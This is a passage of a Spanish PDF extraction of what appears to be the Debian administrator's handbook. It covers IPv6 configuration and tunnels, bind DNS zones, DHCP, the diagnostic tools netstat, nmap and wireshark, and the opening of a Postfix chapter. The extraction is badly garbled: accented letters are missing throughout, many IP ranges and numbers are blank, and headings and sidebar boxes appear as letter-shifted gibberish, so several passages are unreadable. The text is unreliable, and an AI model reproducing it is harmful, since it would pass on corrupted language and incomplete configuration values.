fueron destinados y administrar la fragmentacin de datos si es necesaria (en otras palabras,
dividir los paquetes en trozos de un tamao que dependa de los enlaces de red utilizados en el
camino y unirlos nuevamente en el orden apropiado cuando lleguen).
Los ncleos Debian incluyen la gestin de IPv6 en el corazn del ncleo (con la excepcin de
algunas arquitecturas que la poseen como un mdulo llamado JQW). Las herramientas bsicas
como ping y traceroute tienen sus equivalentes IPv6, ping6 y traceroute6, disponibles en
los paquetes iputils-ping y iputils-tracepath respectivamente.
Una red IPv6 se configura de forma similar a una IPv4, en el archivo /etc/network/interfaces.
Pero si desea que se pueda acceder globalmente a la red debe asegurarse de tener un router
compatible con IPv6 que retransmita datos a la red IPv6 global.
&KFNQMP 

&KFNQMP EF DPOGJHVSBDJO *1W

iface eth0 inet6 static


address 2001:db8:1234:5::1:1
netmask 64
# Desactivar autoconfiguracin
# autoconf 0
# El enrutador se configura automticamente y no tiene direccin
# fija (accept_ra 1). Si la tuviera:
# gateway 2001:db8:1234:5::1

Las subredes IPv6 generalmente tienen una mscara de red de 64 bits. Esto significa que existen
264 direcciones diferentes dentro de la subred. Esto permite que Stateless Address Autoconfiguration (SLAAC: autoconfiguracin de direcciones sin estado) selecione una direccin basada
en la direccin MAC de la interfaz de red. De forma predeterminada, si SLAAC est activado en su
red e IPv6 en su equipo, el ncleo encontrar enrutadores IPv6 automticamente y configurar
las interfaces de red.
Este comportamiento podra tener consecuencias en la privacidad. Si cambia de red frecuentemente, por ejemplo con un porttil, podra no desear que su direccin MAC sea parte de su direc-



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

cin IPv6 pblica. Esto facilita la identificacin del mismo dispositivo en varias redes. Las extensiones de privacidad de IPv6 son una solucin a este problema, las que asignarn direcciones adicionales generadas aleatoriamente a la interfaz, las cambiarn peridicamente y las preferirn
para conexiones salientes. Las conexiones entrantes todava podrn utilizar las direcciones generadas por SLAAC. El ejemplo a continuacin, para utilizar en /etc/network/interfaces, activa estas extensiones de privacidad.
&KFNQMP 

&YUFOTJPOFT EF QSJWBDJEBE *1W

iface eth0 inet6 auto


# Preferir las direcciones asignadas aleatoriamente para conexiones salientes.
privext 2

46(&3&/$*"
1SPHSBNBT EFTBSSPMMBEPT DPO
*1W

.VDIP TPXBSF OFDFTJUB TFS BEBQUBEP QBSB RVF QVFEB VUJMJ[BS *1W -B NBZ
PSB EF MPT QBRVFUFT FO %FCJBO ZB GVFSPO BEBQUBEPT QFSP OP UPEPT 4J TV QB
RVFUF GBWPSJUP OP GVODJPOB DPO *1W UPEBWB QVFEF QFEJS BZVEB FO MB MJTUB EF
DPSSFP EFCJBOJQW "MM QPESBO SFDPNFOEBSMF VO SFFNQMB[P RVF GVODJPOF DPO
*1W Z SFQPSUBSO FM FSSPS QBSB RVF TF MP TJHB BQSPQJBEBNFOUF
http://lists.debian.org/debian-ipv6/

Puede restringir las conexiones IPv6 de la misma forma que aquellas IPv4: el ncleo Debian
estndar incluye una adaptacin de netfilter para IPv6. Puede configurar esta versin de netfilter
para IPv6 de forma similar a su contraparte IPv4 utilizando el programa ip6tables en lugar de
iptables.

 5OFMFT
13&$"6$*/
'JSFXBMMT Z UOFMFT *1W

-PT UOFMFT *1W TPCSF *1W B EJGFSFODJB EF *1W OBUJWP


OFDFTJUBO RVF FM GJSF
XBMM BDFQUF FM USGJDP RVF VUJMJ[B FM ONFSP EF QSPUPDPMP *1W 

Si no existe una conexin IPv6 disponible, el mtodo de respaldo es utilizar un tnel sobre IPv4.
Gogo es un proveedor (gratuito) de dichos tneles:
http://www.gogo6.net/freenet6/tunnelbroker
Para utilizar un tnel de Freenet6 necesita registrarse con una cuenta Freenet6 Pro en el
sitio web, instalar el paquete gogoc y configurar el tnel. Para ello deber editar el archivo
/etc/gogoc/gogoc.conf: debe agregar las lneas VTFSJE y QBTTXPSE que recibi por email y
reemplazar TFSWFS con BVUIFOUJDBUFEGSFFOFUOFU.
Puede agregar las siguientes tres directivas al archivo /etc/gogoc/gogoc.conf para proponer
conectividad IPv6 a todas las mquinas en una red local (asumiendo que la red local est conectada a la interfaz eth0):

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



host_type=router
prefixlen=56
if_prefix=eth0

Luego la mquina se convertir en el router de acceso para una subred con un prefijo de 56
bits. Una vez que el tnel sepa de este cambio, debe informarle a la red al respecto; esto implica
instalar el demonio radvd (del paquete del mismo nombre). Este demonio de configuracin IPv6
tiene un rol similar al de dhcpd en el mundo IPv4.
Debe crear el archivo de configuracin /etc/radvd.conf (revise el archivo /usr/share/doc/
radvd/examples/simple-radvd.conf como punto de partida). En nuestro caso, el nico cambio necesario es el prefijo que debe reemplazar con el provisto por Freenet6; puede encontrarlo
en la salida de ifconfig, en el bloque sobre la interfaz UVO.
Luego ejecute /etc/init.d/gogoc restart y /etc/init.d/radvd start, y la red IPv6 debera
funcionar.

 4FSWJEPSFT EF OPNCSFT EF EPNJOJP %/4

 1SJODJQJP Z NFDBOJTNP


El servicio de nombres de dominio (DNS: Domain Name Service) es un componente fundamental
de Internet: asocia nombres de equipo con direcciones IP (y viceversa), lo que permite utilizar
XXXEFCJBOPSH en lugar de  o D.
Los registros DNS se organizan en zonas; cada zona coincide con un dominio (o subdominio)
o un rango de direcciones IP (ya que generalmente se proveen direcciones IP en rangos consecutivos). Un servidor primario es autoridad sobre los contenidos de una zona; los servidores
secundarios, generalmente en otras mquinas, proveen copias de la zona primaria actualizadas
regularmente.
Cada zona puede contener registros de varios tipos (registros de recursos: Resource Records):

": direccin IPv4.


$/".&: alias (nombre cannico: canonical name).
.9: intercambio de correo (mail exchange), un servidor de correo. Los otros servidores
de correo utilizan esta informacin para encontrar a dnde redirigir los emails enviados
a una direccin particular. Cada registro MX tiene una prioridad. Primero se intenta el
servidor con mayor prioridad, con el menor nmero (revise el recuadro SMTP pgina
260); se contactan los dems servidores en orden decreciente de prioridad si el primero
no responde.
153: asociacin de una direccin IP con un nombre. Se almacenan estos registros en una
zona de DNS inverso cuyo nombre est basado en el rango de direcciones IP. Por ejemplo, JOBEESBSQB es la zona que contiene las asociaciones inversas de todas las
direcciones en el rango .



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

"""": direccin IPv6.


/4: asocia un nombre con un servidor de nombres. Cada dominio debe tener al menos
un registro NS. Estos registros apuntan al servidor DNS que puede responder consultas
sobre este dominio; generalmente apuntan a los servidores primarios y secundarios del
dominio. Estos registros tambin permiten delegaciones de DNS; por ejemplo, la zona GBM
DPUDPN puede incluir un registro NS para JOUFSOBMGBMDPUDPN, lo que significa que otro
servidor administra la zona JOUFSOBMGBMDPUDPN. Por supuesto, este servidor debe declarar
una zona JOUFSOBMGBMDPUDPN.
El servidor de nombres de referencia, Bind, fue desarrollado y es mantenido por ISC (consorte de
software de Internet: Internet Software Consortium). Est disponible en Debian en el paquete bind9. La versin 9 provee dos cambios importantes comparada con versiones anteriores.
Primero, el servidor DNS ahora puede ejecutar como un usuario sin privilegios para que una
vulnerabilidad de seguridad en el servidor no provea permisos de root al atacante (como pasaba
frecuentemente con las versiones 8.X).
Lo que es ms, Bind es compatible con el estndar DNSSEC para firmar (y, por lo tanto, autenticar) registros DNS, lo que permite bloquear datos apcrifos durante ataques con intermediarios (man-in-the-middle).
$6-563"
%/44&$

-B OPSNBUJWB %/44&$ FT CBTUBOUF DPNQMFKB FTUP FYQMJDB QBSDJBMNFOUF QPSRV


OP FT VUJMJ[BEB BNQMJBNFOUF BO BO TJ QVFEF DPFYJTUJS QFSGFDUBNFOUF DPO
TFSWJEPSFT %/4 RVF OP DPOP[DBO EF %/44&$
 1BSB FOUFOEFS MPT SFDPWFDPT
EFCFSB SFWJTBS FM TJHVJFOUF BSUDVMP
http://en.wikipedia.org/wiki/Domain_Name_System_Security_
Extensions

 $POGJHVSBDJO
Archivos de configuracin de bind, sin importar su versin, tienen la misma estructura.
Los administradores de Falcot crearon una zona primaria GBMDPUDPN para almacenar informacin relacionada con este dominio y una zona JOBEESBSQB para la asociacin inversa
de direcciones IP en las redes locales.
13&$"6$*/
/PNCSFT EF [POBT JOWFSTBT

-BT [POBT JOWFSTBT UJFOF VO OPNCSF QBSUJDVMBS -B [POB RVF DVCSF MB SFE 192.
168.0.0/16 OFDFTJUB MMBNBSTF 168.192.in-addr.arpa TF JOWJFSUFO MPT DPNQP
OFOUFT EF MB EJSFDDJO *1 TFHVJEPT EFM TVGJKP JOBEESBSQB
1BSB SFEFT *1W FM TVGJKP FT ip6.arpa Z MPT DPNQPOFOUFT EF MB EJSFDDJO *1
JOWFSUJEPT TPO DBEB DBSBDUFS EF MB EJSFDDJO *1 FO TV SFQSFTFOUBDJO IFYBEFD
JNBM DPNQMFUB 1PS FKFNQMP MB SFE 2001:0bc8:31a0::/48 QPESB VUJMJ[BS VOB
SFE MMBNBEB 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



46(&3&/$*"
1SVFCBT EFM TFSWJEPS %/4

&M QSPHSBNB host FO FM QBRVFUF CJOEIPTU


DPOTVMUB VO TFSWJEPS %/4 Z QVFEF
VUJMJ[BSTF QBSB QSPCBS MB DPOGJHVSBDJO EFM TFSWJEPS 1PS FKFNQMP host maqu
ina.falcot.com localhost SFWJTB MB SFTQVFTUB EFM TFSWJEPS MPDBM B MB DPOTVMUB
QPS maquina.falcot.com host direccion.ip localhost QSVFCB MB SFTPMVDJO
JOWFSTB

Los siguientes extractos de configuracin, de los archivos de Falcot, pueden servirle como punto
de partida para configurar un servidor DNS:
&KFNQMP 

&YUSBDUP EF /etc/bind/named.conf.local

zone "falcot.com" {
type master;
file "/etc/bind/db.falcot.com";
allow-query { any; };
allow-transfer {
195.20.105.149/32 ; // ns0.xname.org
193.23.158.13/32 ; // ns1.xname.org
};
};
zone "internal.falcot.com" {
type master;
file "/etc/bind/db.internal.falcot.com";
allow-query { 192.168.0.0/16; };
};
zone "168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192.168";
allow-query { 192.168.0.0/16; };
};

&KFNQMP 

&YUSBDUP EF /etc/bind/db.falcot.com

; Zona falcot.com
; admin.falcot.com. => contacto de la zona: admin@falcot.com
$TTL
604800
@
IN
SOA
falcot.com. admin.falcot.com. (
20040121
; Serial
604800
; Refresco
86400
; Reintento
2419200
; Expiracin
604800 )
; TTL de cach negativo
;
; El @ hace referencia al nombre de la zona (falcot.com aqu)



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

; o a $ORIGIN (origen) si se utiliz esta directiva


;
@
IN
NS
ns
@
IN
NS
ns0.xname.org.
internal IN

NS

192.168.0.2

@
@
@

IN
IN
IN

A
MX
MX

212.94.201.10
5 mail
10 mail2

ns
mail
mail2
www

IN
IN
IN
IN

A
A
A
A

212.94.201.10
212.94.201.10
212.94.201.11
212.94.201.11

dns

IN

CNAME

ns

13&$"6$*/
4JOUBYJT EF VO OPNCSF

-B TJOUBYJT EF MPT OPNCSFT EF NRVJOBT EFCFO BEIFSJSTF B SFHMBT FTUSJDUBT 1PS


FKFNQMP maquina JNQMJDB maquina.dominio 4J OP TF EFCF BHSFHBS FM OPNCSF
EF EPNJOJP B VO OPNCSF EFCF FTDSJCJS EJDIP OPNCSF DPNP maquina. DPO VO
QVOUP EF TVGJKP
 1PS MP UBOUP JOEJDBS VO OPNCSF %/4 GVFSB EFM EPNJOJP BDUVBM
OFDFTJUB VOB TJOUBYJT DPNP maquina.otrodominio.com. DPO FM QVOUP GJOBM


&KFNQMP 

&YUSBDUP EF /etc/bind/db.192.168

; Zona inversa para 192.168.0.0/16


; admin.falcot.com. => contacto de la zona: admin@falcot.com
$TTL
604800
@
IN
SOA
ns.internal.falcot.com. admin.falcot.com. (
20040121
; Serial
604800
; Refresco
86400
; Reintento
2419200
; Expiracin
604800 )
; TTL de cach negativo
IN

NS

ns.internal.falcot.com.

; 192.168.0.1 -> arrakis


1.0
IN
PTR
arrakis.internal.falcot.com.
; 192.168.0.2 -> neptune
2.0
IN
PTR
neptune.internal.falcot.com.
; 192.168.3.1 -> pau
1.3
IN
PTR

pau.internal.falcot.com.

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



 %)$1
 1SFTFOUBDJO
DHCP (procolo de configuracin dinmica de equipos: Dynamic Host Configuration Protocol) es
un protocolo mediante el cual una mquina puede obtener su configuracin de red automticamente al iniciar. Esto permite centralizar la administracin de las configuraciones de red y
asegurar que todos los equipos de escritorio obtengan configuraciones similares.
Un servidor DHCP provee muchos parmetros relacionados con la red. Los ms comunes son una
direccin IP y la red a la que pertenece el equipo, pero tambin puede proveer otra informacin
como servidores DNS, servidores WINS, servidores NTP y ms.
El Internet Software Consortium (involucrado tambin en el desarrollo de bind) es el autor principal del servidor DHCP. El paquete Debian correspondiente es isc-dhcp-server.

 $POGJHVSBDJO
El primer elemento que necesita editar en el archivo de configuracin del servidor DHCP (/etc/
dhcp/dhcpd.conf) son el nombre de dominio y servidores DNS. Si el servidor es el nico en
la red local (definido en la propagacin de difusin), de activar (o descomentar) la directiva
BVUIPSJUBUJWF. Tambin necesita crear una seccin TVCOFU (subred) describiendo la red local y
la informacin de configuracin que proveer. El siguiente ejemplo define una red local 
 con un router en  como puerta de enlace. Las direcciones IP disponibles
estn en el rango  a .
&KFNQMP  &YUSBDUP EF /etc/dhcp/dhcpd.conf
#
# Archivo de configuracin de ejemplo para el dhcpd ISC para Debian
#
# El parmetro ddns-updates-style controla si el servidor intentar o no
# una actualizacin de DNS cuando se confirme la asignacin. Utilizamos
# el comportamiento predeterminado de la versin 2 de paquetes ('none',
# ya que DHCP v2 no era compatible con DDNS).
ddns-update-style interim;
# definicin de opciones comunes a todas las redes...
option domain-name "internal.falcot.com";
option domain-name-servers ns.internal.falcot.com;
default-lease-time 600;
max-lease-time 7200;
# Si este servidor DHCP es el servidor DHCP oficial para la red local,



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# debe descomentar la directiva authoritative.


authoritative;
# Utilice esto para enviar mensajes de registro dhcp a un archivo de
# registro distinto (tambin deber modificar syslog.conf para completar
# la redireccin).
log-facility local7;
# Mi subred
subnet 192.168.0.0 netmask 255.255.255.0 {
option routers 192.168.0.1;
option broadcast-address 192.168.0.255;
range 192.168.0.128 192.168.0.254;
ddns-domainname "internal.falcot.com";
}

 %)$1 Z %/4


Una buena funcionalidad es el registro automatizado de clientes DHCP en la zona DNS para que
cada mquina obtenga un nombre significativo (en lugar de algo impersonal como NBRVJOB
JOUFSOBMGBMDPUDPN). Para utilizar esta funcionalidad necesita configurar el
servidor DNS para que acepte actualizaciones de la zona DNS JOUFSOBMGBMDPUDPN desde el servidor DHCP y configurar este ltimo para que enve actualizaciones para cada registracin.
En el caso de bind, necesita agregar la directiva BMMPXVQEBUF a cada una de las zonas que puede
editar el servidor DHCP (slo el dominio JOUFSOBMGBMDPUDPN y su zona inversa). Esta directiva
enumera las direcciones IP que pueden realizar estas actualizaciones; por lo tanto deber incluir
las posibles direcciones del servidor DHCP (tanto la direccin local como la direccin pblica en
caso que sea apropiado).
allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Tenga cuidado! Una zona que pueda ser modificada ser modificada por bind, y ste ltimo
sobreescribir sus archivos de configuracin en intervalos regulares. Debido a que este procedimiento automatizado genera archivos que son menos legibles que aquellos escritos manualmente, los administradores de Falcot administran el dominio JOUFSOBMGBMDPUDPN con un servidor DNS delegado; esto significa que el archivo de la zona GBMDPUDPN se mantiene firmemente
bajo su control manual.
El extracto de la configuracin del servidor DHCP anterior ya incluye las directivas necesarias
para las actualizaciones de la zona DNS: son las lneas EEOTVQEBUFTUZMF JOUFSJN y EEOTEPN
BJOOBNF JOUFSOBMGBMDPUDPN en el bloque que describe la subred.

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



 )FSSBNJFOUBT EF EJBHOTUJDP EF SFE


Cuando una aplicacin de red no funciona como esperamos es importante poder ver bajo el
cap. An cuando todo parezca estar funcionando, realizar un diagnstico de red puede ayudar
a asegurar que todo est funcionando como debe. Existen muchas herramientas de diagnstico
para este propsito, cada una de las cuales opera en un nivel diferente.

 %JBHOTUJDP MPDBM netstat


Mencionemos primero el programa netstat (en el paquete net-tools); muestra un resumen instantneo de la actividad de red de una mquina. Cuando lo ejecute sin parmetros, mostrar
todas las conexiones abiertas; esta lista puede ser demasiado detallada ya que incluye muchos
zcalos de dominio Unix (utilizados ampliamente por demonios) que no incluyen la red en absoluto (por ejemplo, la comunicacin de ECVT, trfico 9 y comunicaciones entre sistemas de
archivos virtuales y el escritorio).
Por lo tanto, invocaciones usuales utilizan opciones que modifican el comportamiento de nets
tat. Las opciones utilizadas ms frecuentemente incluyen:

U, que filtra los resultados para incluir slamente conexiones TCP;
V, que realiza algo similar por las conexiones UDP; estas opciones no son mutuamente
excluyentes y una de ellas es suficiente para evitar mostrar informacin sobre conexiones
de dominio Unix;
B, para mostrar tambin los zcalos que estn escuchando (que esperan conexiones entrantes);
O, para mostrar los resultados numricamente: direcciones IP (sin resolucin DNS),
nmeros de puerto (sin alias definidos en /etc/services) y IDs de usuario (sin nombres
de usuario);
Q, enumerar los procesos involucrados; esta opcin slo es til cuando ejecute netstat
como root ya que los usuarios normales slo vern sus propios procesos;
D, para actualizar continuamente la lista de conexiones.
Otras opciones, documentadas en la pgina de manual netstat(8), proveen un control ms
granular en los resultados mostrados. En la prctica,las primeras cinco opciones son utilizadas
juntas tan seguido que los administradores de sistemas y red tiene el acto reflejo de ejecutar
netstat -tupan. Los resultados tpicos, en una mquina con poca carga, pueden parecerse a lo
siguiente:
# netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
Foreign Address
tcp
0
0 0.0.0.0:22
0.0.0.0:*
tcp
0
0 127.0.0.1:25
0.0.0.0:*
tcp
0
0 192.168.1.241:22
192.168.1.128:47372
tcp
0
0 192.168.1.241:22
192.168.1.128:32970
tcp6
0
0 :::22
:::*
tcp6
0
0 ::1:25
:::*



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

State
LISTEN
LISTEN
ESTABLISHED
ESTABLISHED
LISTEN
LISTEN

PID/Program name
2224/sshd
994/exim4
2944/sshd: roland [
2232/sshd: roland [
2224/sshd
994/exim4

udp
udp
udp
udp
udp6
udp6
udp6
udp6

0
0
0
0
0
0
0
0

0
0
0
0
0
0
0
0

0.0.0.0:68
192.168.1.241:123
127.0.0.1:123
0.0.0.0:123
fe80::a00:27ff:fe6c:123
2002:52e0:87e4:0:a0:123
::1:123
:::123

0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
:::*
:::*
:::*
:::*

633/dhclient
764/ntpd
764/ntpd
764/ntpd
764/ntpd
764/ntpd
764/ntpd
764/ntpd

Como es esperado, enumera las conexiones establecidas: dos conexiones SSH en este caso y las
aplicaciones esperando conexiones entrantes (mostradas como -*45&/), notablemente el servidor de correo Exim4 est escuchando en el puerto 25.

 %JBHOTUJDP SFNPUP nmap


nmap (en el paquete del mismo nombre) es, en cierta forma, el equivalente remoto de netstat.

Puede escanear un conjunto de puertos muy conocidos de uno o ms servidores remotos y


enumerar los puertos donde encontr una aplicacin que responda conexiones entrantes. Lo
que es ms, nmap puede identificar alguna de estas aplicaciones, a veces inclusive tambin su
nmero de versin. La desventaja de esta herramienta es que, debido a que ejecuta de forma
remota, no puede proveer informacin sobre procesos o usuarios; sin embargo, puede trabajar
con varios objetivos al mismo tiempo.
Una invocacin de nmap tpica utilizar la opcin " (para que nmap intente identificar las versiones del software de servidor que encuentre) seguido de una o ms direcciones IP o nombres
DNS de los equipos a escanear. Nuevamente, existen muchas ms opciones que proveen un control detallado del comportamiento de nmap; revise la documentacin en la pgina de manual
nmap(1).
# nmap mirwiz
nmap 192.168.1.30
Starting Nmap 6.00 ( http://nmap.org ) at 2013-11-13 11:00 CET
Nmap scan report for mirwiz (192.168.1.30)
Host is up (0.000015s latency).
Not shown: 997 closed ports
PORT
STATE SERVICE
22/tcp
open ssh
111/tcp
open rpcbind
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
# nmap -A localhost
Starting Nmap 6.00 ( http://nmap.org ) at 2013-11-13 10:54 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000084s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 996 closed ports

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



PORT
STATE SERVICE VERSION
22/tcp
open ssh
OpenSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 1024 ea:47:e5:04:a0:b8:70:29:c2:94:3d:fe:a8:b8:b4:02 (DSA)
|_2048 81:5c:a4:56:ff:c0:bf:0d:cd:e6:cc:48:2f:15:78:ea (RSA)
25/tcp
open smtp
Exim smtpd 4.80
| smtp-commands: mirwiz.internal.placard.fr.eu.org Hello localhost [127.0.0.1],
SIZE 52428800, 8BITMIME, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
111/tcp
open rpcbind
| rpcinfo:
|
program version
port/proto service
|
100000 2,3,4
111/tcp rpcbind
|
100000 2,3,4
111/udp rpcbind
|
100024 1
40114/tcp status
|_ 100024 1
55628/udp status
10000/tcp open http
MiniServ 1.660 (Webmin httpd)
| ndmp-version:
|_ ERROR: Failed to get host information from server
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see http://
nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.00 %E=4 %D=11/13 %OT=22 %CT=1 %CU=40107 %PV=N %DS=0 %DC=L %G=Y %TM=52834C
OS:9E %P=x86_64-unknown-linux-gnu)SEQ(SP=102 %GCD=1 %ISR=105 %TI=Z %CI=Z %II=I %TS
OS:=8)OPS(O1=M400CST11NW5 %O2=M400CST11NW5 %O3=M400CNNT11NW5 %O4=M400CST11NW5 %
OS:O5=M400CST11NW5 %O6=M400CST11)WIN(W1=8000 %W2=8000 %W3=8000 %W4=8000 %W5=8000
OS: %W6=8000)ECN(R=Y %DF=Y %T=41 %W=8018 %O=M400CNNSNW5 %CC=Y %Q=)T1(R=Y %DF=Y %T=41
OS: %S=O %A=S+ %F=AS %RD=0 %Q=)T2(R=N)T3(R=N)T4(R=Y %DF=Y %T=41 %W=0 %S=A %A=Z %F=R %O=
OS: %RD=0 %Q=)T5(R=Y %DF=Y %T=41 %W=0 %S=Z %A=S+ %F=AR %O= %RD=0 %Q=)T6(R=Y %DF=Y %T=41 %
OS:W=0 %S=A %A=Z %F=R %O= %RD=0 %Q=)T7(R=Y %DF=Y %T=41 %W=0 %S=Z %A=S+ %F=AR %O= %RD=0 %Q=
OS:)U1(R=Y %DF=N %T=41 %IPL=164 %UN=0 %RIPL=G %RID=G %RIPCK=G %RUCK=G %RUD=G)IE(R=Y %
OS:DFI=N %T=41 %CD=S)
Network Distance: 0 hops
Service Info: Host: mirwiz.internal.placard.fr.eu.org; OS: Linux; CPE: cpe:/o:
linux:kernel
OS and Service detection performed. Please report any incorrect results at http
://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.20 seconds

Como es esperado, se muestran las aplicaciones SSH y Exim4. Sepa que no todas las aplicaciones
escuchan en todas las direcciones IP; debido a que slo se puede acceder a Exim4 mediante la
interfaz de loopback MP, slo aparecer durante un anlisis de MPDBMIPTU pero no cuando se
escanea NJSXJ[ (asociado con la interfaz FUI del mismo equipo).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 k4OJFST{ tcpdump Z wireshark


A veces uno necesita revisar lo que sucede literalmente en el cable, paquete por paquete. Estos
casos requieren un analizador de tramas, ms comnmente conocidos como sniffers. Estas
herramientas observan todos los paquetes en una interfaz de red dada y los muestran en una
forma ms amigable.
La herramienta de culto en este mbito es tcpdump, disponible como una herramienta estndar
en un amplio rango de plataformas. Permite muchos tipos de capturas de trfico de red, pero la
representacin del mismo es bastante crptica. Por lo tanto no la describiremos en ms detalle.
Una herramienta ms reciente (y ms moderna), wireshark (en el paquete wireshark), se est
convirtiendo en la nueva referencia de anlisis de trfico de red debido a sus mdulos de decodificacin que permiten un anlisis simplificado de los paquetes capturados. Muestra los paquetes
grficamente, organizados basndose en las capas de protocolos. Esto permite al usuario visualizar todos los protocolos involucrados en un paquete. Por ejemplo, en un paquete que contenga un pedido HTTP, wireshark mostrar por separado la informacin sobre la capa fsica, la
capa Ethernet, la informacin IP del paquete, los parmetros de conexin TCP y finalmente el
pedido HTTP mismo.

'JHVSB 

&M BOBMJ[BEPS EF USGJDP EF SFE

wireshark

En nuestro ejemplo, filtramos los paquetes que viajan sobre SSH (con el filtro UDQQPSU ).
El paquete mostrado tiene expandida la capa HTTP.

$BQUVMP  * OGSBFTUSVDUVSB EF SFE





46(&3&/$*"
wireshark TJO JOUFSGB[
HSGJDB tshark

$VBOEP OP QPEFNPT FKFDVUBS VOB JOUFSGB[ HSGJDB P QPS DVBMRVJFS SB[O OP EF
TFBNPT IBDFSMP FYJTUF VOB WFSTJO TMP EF UFYUP EF wireshark CBKP FM OPNCSF
tshark FO FM QBRVFUF JOEFQFOEJFOUF UTIBSL
 -B NBZPSB EF MB GVODJPOBMJEBE
EF DBQUVSB Z EFDPEJGJDBDJO FTU UBNCJO EJTQPOJCMF QFSP MB GBMUB EF JOUFSGB[
HSGJDB MJNJUB OFDFTBSJBNFOUF MB JOUFSBDDJO DPO FM QSPHSBNB GJMUSBS QBRVFUFT
MVFHP EF DBQUVSBSMPT SBTUSFBS VOB DPOFYJO 5$1 FUD
 1VFEF VUJMJ[BSTF TJO
FNCBSHP DPNP QSJNFS JOUFOUP 4J EFTFB SFBMJ[BS NBOJQVMBDJPOFT Z OFDFTJUB MB
JOUFSGB[ HSGJDB QVFEF HVBSEBS MPT QBRVFUFT FO VO BSDIJWP Z DBSHBSMP FO VO
wireshark HSGJDP FKFDVUBOEP FO PUSB NRVJOB

$6-563"
ethereal Z wireshark

wireshark QBSFDF TFS CBTUBOUF KPWFO TJO FNCBSHP TMP FT FM OVFWP OPNCSF EF
VOB BQMJDBDJO DPOPDJEB BOUFSJPSNFOUF DPNP ethereal $VBOEP TV EFTBSSPM

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

MBEPS QSJODJQBM BCBOEPO MB DPNQBB QBSB MB RVF USBCBKBCB OP MPHS DPPSEJOBS


MB USBOTGFSFODJB EF MB NBSDB SFHJTUSBEB $PNP BMUFSOBUJWB DBNCJ FM OPNCSF
TMP FM OPNCSF Z MPT DPOPT EFM TPXBSF DBNCJBSPO FO SFBMJEBE

1BMBCSBT DMBWF
1PTUGJY
"QBDIF
/'4
4BNCB
4RVJE
0QFO-%"1

$BQUVMP

4FSWJDJPT EF SFE
1PTUGJY "QBDIF /'4
4BNCB 4RVJE -%"1


$POUFOJEPT

4FSWJEPS EF DPSSFP 


4FSWJEPS EF BSDIJWPT /'4 

4FSWJEPS XFC )551




4FSWJEPS EF BSDIJWPT '51 

$POGJHVSBDJO EF FTQBDJPT DPNQBSUJEPT 8JOEPXT DPO 4BNCB 


1SPYZ )551'51 

Los servicios de red son los programas con los que los usuarios interactan en su trabajo diario. Son la punta del iceberg del sistema de informacin y este captulo se
centra en ellos; las partes ocultas en las que se basan son la infraestructura que ya
hemos descripto anteriormente.

%JSFDUPSJP -%"1 

 4FSWJEPS EF DPSSFP


Los administradores de Falcot Corp eligieron Postfix como servidor de correo electrnico debido
a su fiabilidad y su facilidad de configuracin. De hecho, su diseo fuerza a que cada tarea sea
implementada en un proceso con el mnimo conjunto de permisos, lo que es una gran medida
paliativa contra problemas de seguridad.
"-5&3/"5*7"
&M TFSWJEPS &YJN

%FCJBO VUJMJ[B &YJN DPNP TFSWJEPS EF DPSSFP QSFEFUFSNJOBEP SB[O QPS MB


RVF MB JOTUBMBDJO JOJDJBM JODMVZF &YJN
 6O QBRVFUF EJGFSFOUF QSPWFF TV DPO
GJHVSBDJO FYJNDPOGJH MB DVBM FT QFSTPOBMJ[BEB BVUPNUJDBNFOUF CBTOEPTF
FO MBT SFTQVFTUBT B VO DPOKVOUP EF QSFHVOUBT %FCDPOG NVZ TJNJMBSFT B MBT RVF
QSFHVOUB FM QBRVFUF QPTUGJY
-B DPOGJHVSBDJO QVFEF FTUBS FO VO OJDP BSDIJWP /etc/exim4/exim4.conf.
template
P EJWJEJEB FO EJGFSFOUFT USP[PT RVF TF BMNBDFOBO FO FM EJSFDUPSJP
/etc/exim4/conf.d/ &O BNCPT DBTPT update-exim4.conf VUJMJ[B MPT BSDIJWPT
DPNP QMBOUJMMBT QBSB HFOFSBS /var/lib/exim4/config.autogenerated  &YJN
VUJMJ[B FTUF MUJNP BSDIJWP (SBDJBT B FTUF NFDBOJTNP TF QVFEFO JOUSPEVDJS MPT
WBMPSFT EFGJOJEPT EVSBOUF MB DPOGJHVSBDJO EFCDPOG EF &YJN BMNBDFOBEPT
FO /etc/exim4/update-exim4.conf.conf FO FM BSDIJWP EF DPOGJHVSBDJO EF
&YJN BO DVBOEP FM BENJOJTUSBEPS Z PUSP QBRVFUF IBZB NPEJGJDBEP MB DPOGJH
VSBDJO QSFEFUFSNJOBEB EF &YJN
-B TJOUBYJT EF MPT BSDIJWPT EF DPOGJHVSBDJO EF &YJN UJFOF TVT QFDVMJBSJEBEFT
Z DVSWB EF BQSFOEJ[BKF 4JO FNCBSHP VOB WF[ RVF TF FOUJFOEFO FTUBT QFDVMJBSJ
EBEFT &YJN SFTVMUB TFS VO TFSWJEPS EF DPSSFP NVZ DPNQMFUP Z QPUFOUF DPNP
